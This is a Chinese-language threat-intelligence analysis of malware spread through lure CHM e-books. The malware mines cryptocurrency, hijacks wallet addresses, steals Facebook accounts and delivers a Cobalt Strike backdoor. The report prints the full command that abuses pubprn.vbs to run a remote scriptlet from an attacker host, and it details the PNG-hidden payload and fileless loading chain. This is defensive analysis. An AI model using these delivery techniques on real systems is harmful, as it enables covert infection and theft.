一、概述
近期騰訊御見威脅情報中心捕獲到利用一堆色情類電子書(chm格式)傳播的惡意挖礦病毒,病毒使用一批極具誘惑力的文件名(本文分析樣本使用名為“想不想知道xx之間的秘密.chm”)在網絡中傳播。

病毒使用執行遠程腳本的方法,并結合白利用,代碼混淆,無文件內存裝載等技術來躲避安全廠商的查殺,受害者一旦打開這些chm格式的電子書,病毒便會隱藏進用戶機器中。
病毒目前行為主要有釋放挖礦病毒,安裝Chrome瀏覽器惡意插件,在用戶交易虛擬加密幣時劫持收款地址,盜取用戶facebook帳號信息,并自動在facebook網站分享若干“小黃書”chm下載鏈接實現蠕蟲式的傳播。

二、樣本分析
chm文檔結構如下圖,運行chm文檔后文檔內Load_HTML_CHM0.html內混淆的腳本代碼會以命令行”C:\Windows\System32\wscript.exe” /b C:/Windows/System32/Printing_Admin_Scripts/zh-CN/pubprn.vbs 127.0.0.1 script:hxxp://png.realtimenews.tk/chm.sct
來執行hxxp://png.realtimenews.tk/chm.sct內的遠程腳本。

腳本代碼通過訪問一個外部鏈接的圖片q.png,并查找圖片數據中的tEXt,iENd兩個標記,截取tEXt+4位置到iENd-8處的文件內容,Base64解碼后存放到Temp目錄以tmpg.Jpg命名,并用Rundll32.exe拉起執行,tmpg.Jpg其實為一個帶有導出函數VoidFunc且加殼的DLL。
截取png中隱藏數據

q.png表象上看為一個透明背景中心發亮的PNG圖片。

q.png文件tEXt+4位置指向了一個BASE64編碼的PE文件內容開始位置.

q.png文件iENd-8指向了一個BASE64編碼的PE文件內容末尾位置。

Rundll32.exe進一步拉起執行tmpg.Jpg

tmpg.Jpg為帶有導出函數VoidFunc的DLL

被RunDll32拉起的tmpg.Jpg通過執行導出函數VoidFun,然后在內存中解密出一段Shellcode,通過CreateThread的方式執行起來。
創建線程執行Shellcode

Shellcode代碼通過遍歷LDR鏈找到kernel32模塊,然后獲取LoadLibraryA的地址,加載Wininet模塊,然后獲得一系列網絡操作函數
InternetConnectA,httpOpenRequestA,httpSendRequestA地址調用,最終向域名
dazqc4f140wtl.cloudfront.net發送一個Get網絡請求,并使用InternetReadFIle來接收網絡文件數據流,請求域名藏在Shellcode的尾部。
Shellcode裝載Wininet模塊

Get請求域名藏在解密后的Shellcode尾部

通過抓包工具可以直接看到,Get請求后服務器發送回來的數據流有一個明文的PE文件,通過從內存Dump出該模塊可知該模塊還是一個DLL,并使用反射式加載的方法,實現該模塊代碼不落地裝載。
病毒Get請求后返回的明文PE文件數據流

反射式加載的DLL

觀察該模塊可知為Cobalt Strike生成的DLL后門攻擊模塊,該后門攻擊模塊數據交互支持HTTP、HTTPS、DNS和SMB隧道協議,本次樣本使用HTTP協議的方式進行通信交互,后門攻擊模塊首先通過異或0×69解密出上線配置信息。
|